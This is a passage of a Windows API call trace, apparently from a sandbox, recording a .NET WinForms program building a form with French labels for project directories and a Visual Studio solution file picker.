(lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.695] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.695] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.695] GetWindow (hWnd=0x1018c, uCmd=0x3) returned 0x1018a [0221.695] GetClientRect (in: hWnd=0x1018c, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.695] GetWindowRect (in: hWnd=0x1018c, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.695] GetParent (hWnd=0x1018c) returned 0x40150 [0221.695] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.695] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.695] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x3, wParam=0x0, lParam=0xb300b5) returned 0x0 [0221.695] GetClientRect (in: hWnd=0x1018c, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.695] GetWindowRect (in: hWnd=0x1018c, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.695] GetParent (hWnd=0x1018c) returned 0x40150 [0221.695] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.695] SendMessageW (hWnd=0x1018c, Msg=0x2210, wParam=0x18c0001, lParam=0x1018c) returned 0x0 [0221.695] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x2210, wParam=0x18c0001, lParam=0x1018c) returned 0x0 [0221.696] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.696] GetParent (hWnd=0x1018c) returned 0x40150 [0221.696] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.696] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.696] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.696] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Repertoire Projet 2 : ", dwStyle=0x5680000d, X=12, Y=174, nWidth=163, nHeight=23, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x1018e [0221.696] SetWindowLongW (hWnd=0x1018e, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.696] GetWindowLongW (hWnd=0x1018e, nIndex=-4) returned 1894758601 [0221.697] SetWindowLongW (hWnd=0x1018e, nIndex=-4, dwNewLong=77793806) returned 1894758601 [0221.697] GetWindowLongW (hWnd=0x1018e, nIndex=-4) returned 77793806 [0221.697] GetWindowLongW (hWnd=0x1018e, nIndex=-16) returned 1182793741 [0221.697] GetWindowLongW (hWnd=0x1018e, nIndex=-12) returned 0 [0221.697] SetWindowLongW (hWnd=0x1018e, nIndex=-12, dwNewLong=65934) returned 0 [0221.697] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.697] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.697] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.697] GetWindow (hWnd=0x1018e, uCmd=0x3) returned 0x1018c [0221.697] GetClientRect (in: hWnd=0x1018e, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.697] GetWindowRect (in: hWnd=0x1018e, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.697] GetParent (hWnd=0x1018e) returned 0x40150 [0221.697] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.697] SetWindowTextW (hWnd=0x1018e, lpString="Repertoire Projet 2 : ") returned 1 [0221.697] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xc, wParam=0x0, lParam=0x24bd790) returned 0x1 [0221.698] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.698] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x3, wParam=0x0, lParam=0xaf000d) returned 0x0 [0221.698] GetClientRect (in: hWnd=0x1018e, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.698] GetWindowRect (in: hWnd=0x1018e, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.698] GetParent (hWnd=0x1018e) returned 0x40150 [0221.698] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.698] SendMessageW (hWnd=0x1018e, Msg=0x2210, wParam=0x18e0001, lParam=0x1018e) returned 0x0 [0221.698] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x2210, wParam=0x18e0001, lParam=0x1018e) returned 0x0 [0221.698] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.698] GetParent (hWnd=0x1018e) returned 0x40150 [0221.698] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.698] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.698] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.698] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=139, nWidth=0, nHeight=13, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10190 [0221.699] SetWindowLongW (hWnd=0x10190, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.699] GetWindowLongW (hWnd=0x10190, nIndex=-4) returned 1894758601 [0221.699] SetWindowLongW (hWnd=0x10190, nIndex=-4, dwNewLong=77793846) returned 1894758601 [0221.699] GetWindowLongW (hWnd=0x10190, nIndex=-4) returned 77793846 [0221.699] GetWindowLongW (hWnd=0x10190, nIndex=-16) returned 1174405133 [0221.699] GetWindowLongW (hWnd=0x10190, nIndex=-12) returned 0 [0221.699] SetWindowLongW (hWnd=0x10190, nIndex=-12, dwNewLong=65936) returned 0 [0221.699] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.699] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.699] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.699] GetWindow (hWnd=0x10190, uCmd=0x3) returned 0x1018e [0221.699] GetClientRect (in: hWnd=0x10190, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.699] GetWindowRect (in: hWnd=0x10190, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.699] GetParent (hWnd=0x10190) returned 0x40150 [0221.699] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.700] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.700] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x3, wParam=0x0, lParam=0x8b00b5) returned 0x0 [0221.700] GetClientRect (in: hWnd=0x10190, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.700] GetWindowRect (in: hWnd=0x10190, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.700] GetParent (hWnd=0x10190) returned 0x40150 [0221.700] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.700] SendMessageW (hWnd=0x10190, Msg=0x2210, wParam=0x1900001, lParam=0x10190) returned 0x0 [0221.700] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x2210, wParam=0x1900001, lParam=0x10190) returned 0x0 [0221.700] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.700] GetParent (hWnd=0x10190) returned 0x40150 [0221.700] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.700] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.700] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.700] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Repertoire Projet 1 : ", dwStyle=0x5680000d, X=12, Y=134, nWidth=163, nHeight=23, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10192 [0221.701] SetWindowLongW (hWnd=0x10192, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.701] GetWindowLongW (hWnd=0x10192, nIndex=-4) returned 1894758601 [0221.701] SetWindowLongW (hWnd=0x10192, nIndex=-4, dwNewLong=77793886) returned 1894758601 [0221.701] GetWindowLongW (hWnd=0x10192, nIndex=-4) returned 77793886 [0221.701] GetWindowLongW (hWnd=0x10192, nIndex=-16) returned 1182793741 [0221.701] GetWindowLongW (hWnd=0x10192, nIndex=-12) returned 0 [0221.701] SetWindowLongW (hWnd=0x10192, nIndex=-12, dwNewLong=65938) returned 0 [0221.701] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.701] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.715] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.715] GetWindow (hWnd=0x10192, uCmd=0x3) returned 0x10190 [0221.715] GetClientRect (in: hWnd=0x10192, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.715] GetWindowRect (in: hWnd=0x10192, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.715] GetParent (hWnd=0x10192) returned 0x40150 [0221.715] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.715] SetWindowTextW (hWnd=0x10192, lpString="Repertoire Projet 1 : ") returned 1 [0221.715] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xc, wParam=0x0, lParam=0x24bd91c) returned 0x1 [0221.716] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.716] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x3, wParam=0x0, lParam=0x87000d) returned 0x0 [0221.716] GetClientRect (in: hWnd=0x10192, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.716] GetWindowRect (in: hWnd=0x10192, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.716] GetParent (hWnd=0x10192) returned 0x40150 [0221.716] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.716] SendMessageW (hWnd=0x10192, Msg=0x2210, wParam=0x1920001, lParam=0x10192) returned 0x0 [0221.716] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x2210, wParam=0x1920001, lParam=0x10192) returned 0x0 [0221.716] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.716] GetParent (hWnd=0x10192) returned 0x40150 [0221.716] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.716] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.716] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.716] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=96, nWidth=0, nHeight=13, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10194 [0221.717] SetWindowLongW (hWnd=0x10194, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.717] GetWindowLongW (hWnd=0x10194, nIndex=-4) returned 1894758601 [0221.717] SetWindowLongW (hWnd=0x10194, nIndex=-4, dwNewLong=77793926) returned 1894758601 [0221.717] GetWindowLongW (hWnd=0x10194, nIndex=-4) returned 77793926 [0221.717] GetWindowLongW (hWnd=0x10194, nIndex=-16) returned 1174405133 [0221.717] GetWindowLongW (hWnd=0x10194, nIndex=-12) returned 0 [0221.717] SetWindowLongW (hWnd=0x10194, nIndex=-12, dwNewLong=65940) returned 0 [0221.717] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.717] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.717] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.717] GetWindow (hWnd=0x10194, uCmd=0x3) returned 0x10192 [0221.717] GetClientRect (in: hWnd=0x10194, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.717] GetWindowRect (in: hWnd=0x10194, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.717] GetParent (hWnd=0x10194) returned 0x40150 [0221.717] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.718] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.718] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x3, wParam=0x0, lParam=0x6000b5) returned 0x0 [0221.718] GetClientRect (in: hWnd=0x10194, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.718] GetWindowRect (in: hWnd=0x10194, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.718] GetParent (hWnd=0x10194) returned 0x40150 [0221.718] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.718] SendMessageW (hWnd=0x10194, Msg=0x2210, wParam=0x1940001, lParam=0x10194) returned 0x0 [0221.718] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x2210, wParam=0x1940001, lParam=0x10194) returned 0x0 [0221.718] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.718] GetParent (hWnd=0x10194) returned 0x40150 [0221.718] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.718] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.718] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.718] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", dwStyle=0x5680000d, X=12, Y=91, nWidth=163, nHeight=23, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10196 [0221.718] SetWindowLongW (hWnd=0x10196, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.718] GetWindowLongW (hWnd=0x10196, nIndex=-4) returned 1894758601 [0221.719] SetWindowLongW (hWnd=0x10196, nIndex=-4, dwNewLong=77837078) returned 1894758601 [0221.719] GetWindowLongW (hWnd=0x10196, nIndex=-4) returned 77837078 [0221.719] GetWindowLongW (hWnd=0x10196, nIndex=-16) returned 1182793741 [0221.719] GetWindowLongW (hWnd=0x10196, nIndex=-12) returned 0 [0221.719] SetWindowLongW (hWnd=0x10196, nIndex=-12, dwNewLong=65942) returned 0 [0221.719] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.719] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.720] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.720] GetWindow (hWnd=0x10196, uCmd=0x3) returned 0x10194 [0221.720] GetClientRect (in: hWnd=0x10196, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.720] GetWindowRect (in: hWnd=0x10196, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.720] GetParent (hWnd=0x10196) returned 0x40150 [0221.720] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.720] SetWindowTextW (hWnd=0x10196, lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 1 [0221.720] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xc, wParam=0x0, lParam=0x24bd83c) returned 0x1 [0221.720] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.720] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x3, wParam=0x0, lParam=0x5c000d) returned 0x0 [0221.720] GetClientRect (in: hWnd=0x10196, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.720] GetWindowRect (in: hWnd=0x10196, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.720] GetParent (hWnd=0x10196) returned 0x40150 [0221.720] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.720] SendMessageW (hWnd=0x10196, Msg=0x2210, wParam=0x1960001, lParam=0x10196) returned 0x0 [0221.720] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x2210, wParam=0x1960001, lParam=0x10196) returned 0x0 [0221.720] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.721] GetParent (hWnd=0x10196) returned 0x40150 [0221.721] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.721] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.721] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.721] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=58, nWidth=0, nHeight=13, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x10198 [0221.721] SetWindowLongW (hWnd=0x10198, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.721] GetWindowLongW (hWnd=0x10198, nIndex=-4) returned 1894758601 [0221.721] SetWindowLongW (hWnd=0x10198, nIndex=-4, dwNewLong=77837142) returned 1894758601 [0221.721] GetWindowLongW (hWnd=0x10198, nIndex=-4) returned 77837142 [0221.721] GetWindowLongW (hWnd=0x10198, nIndex=-16) returned 1174405133 [0221.721] GetWindowLongW (hWnd=0x10198, nIndex=-12) returned 0 [0221.722] SetWindowLongW (hWnd=0x10198, nIndex=-12, dwNewLong=65944) returned 0 [0221.722] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.722] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.722] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.722] GetWindow (hWnd=0x10198, uCmd=0x3) returned 0x10196 [0221.722] GetClientRect (in: hWnd=0x10198, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.722] GetWindowRect (in: hWnd=0x10198, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.722] GetParent (hWnd=0x10198) returned 0x40150 [0221.722] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.722] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.722] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x3, wParam=0x0, lParam=0x3a00b5) returned 0x0 [0221.722] GetClientRect (in: hWnd=0x10198, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.722] GetWindowRect (in: hWnd=0x10198, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.722] GetParent (hWnd=0x10198) returned 0x40150 [0221.722] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.722] SendMessageW (hWnd=0x10198, Msg=0x2210, wParam=0x1980001, lParam=0x10198) returned 0x0 [0221.722] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x2210, wParam=0x1980001, lParam=0x10198) returned 0x0 [0221.723] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.723] GetParent (hWnd=0x10198) returned 0x40150 [0221.723] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.723] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.723] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.723] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Fichier solution du projet :", dwStyle=0x5680000d, X=12, Y=53, nWidth=163, nHeight=23, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x1019a [0221.723] SetWindowLongW (hWnd=0x1019a, nIndex=-4, dwNewLong=1894758601) returned 77793606 [0221.723] GetWindowLongW (hWnd=0x1019a, nIndex=-4) returned 1894758601 [0221.723] SetWindowLongW (hWnd=0x1019a, nIndex=-4, dwNewLong=77837182) returned 1894758601 [0221.724] GetWindowLongW (hWnd=0x1019a, nIndex=-4) returned 77837182 [0221.724] GetWindowLongW (hWnd=0x1019a, nIndex=-16) returned 1182793741 [0221.724] GetWindowLongW (hWnd=0x1019a, nIndex=-12) returned 0 [0221.724] SetWindowLongW (hWnd=0x1019a, nIndex=-12, dwNewLong=65946) returned 0 [0221.724] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.724] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.724] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.724] GetWindow (hWnd=0x1019a, uCmd=0x3) returned 0x10198 [0221.724] GetClientRect (in: hWnd=0x1019a, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.724] GetWindowRect (in: hWnd=0x1019a, lpRect=0x2bdf40 | out: lpRect=0x2bdf40) returned 1 [0221.724] GetParent (hWnd=0x1019a) returned 0x40150 [0221.724] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf40, cPoints=0x2 | out: lpPoints=0x2bdf40) returned -7405888 [0221.724] SetWindowTextW (hWnd=0x1019a, lpString="Fichier solution du projet :") returned 1 [0221.724] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xc, wParam=0x0, lParam=0x24bd564) returned 0x1 [0221.724] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.724] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x3, wParam=0x0, lParam=0x36000d) returned 0x0 [0221.725] GetClientRect (in: hWnd=0x1019a, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.725] GetWindowRect (in: hWnd=0x1019a, lpRect=0x2bdf98 | out: lpRect=0x2bdf98) returned 1 [0221.725] GetParent (hWnd=0x1019a) returned 0x40150 [0221.725] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf98, cPoints=0x2 | out: lpPoints=0x2bdf98) returned -7405888 [0221.725] SendMessageW (hWnd=0x1019a, Msg=0x2210, wParam=0x19a0001, lParam=0x1019a) returned 0x0 [0221.725] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x2210, wParam=0x19a0001, lParam=0x1019a) returned 0x0 [0221.725] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.725] GetParent (hWnd=0x1019a) returned 0x40150 [0221.725] GetCurrentActCtx (in: lphActCtx=0x2be780 | out: lphActCtx=0x2be780*=0x5765c4) returned 1 [0221.725] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.725] GetClassInfoW (in: hInstance=0x0, lpClassName="BUTTON", lpWndClass=0x24dd128 | out: lpWndClass=0x24dd128) returned 1 [0221.725] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.726] CoTaskMemAlloc (cb=0x58) returned 0x55d7d0 [0221.726] RegisterClassW (lpWndClass=0x2be638) returned 0xc128 [0221.726] CoTaskMemFree (pv=0x55d7d0) [0221.726] GetModuleHandleW (lpModuleName=0x0) returned 0xfe0000 [0221.726] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r14_ad1", lpWindowName="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", dwStyle=0x5601000b, X=350, Y=21, nWidth=163, nHeight=29, hWndParent=0x40150, hMenu=0x0, hInstance=0xfe0000, lpParam=0x0) returned 0x1019c [0221.726] SetWindowLongW (hWnd=0x1019c, nIndex=-4, dwNewLong=1894823061) returned 77837222 [0221.726] GetWindowLongW (hWnd=0x1019c, nIndex=-4) returned 1894823061 [0221.727] SetWindowLongW (hWnd=0x1019c, nIndex=-4, dwNewLong=77837262) returned 1894823061 [0221.727] GetWindowLongW (hWnd=0x1019c, nIndex=-4) returned 77837262 [0221.727] GetWindowLongW (hWnd=0x1019c, nIndex=-16) returned 1174470667 [0221.727] GetWindowLongW (hWnd=0x1019c, nIndex=-12) returned 0 [0221.727] SetWindowLongW 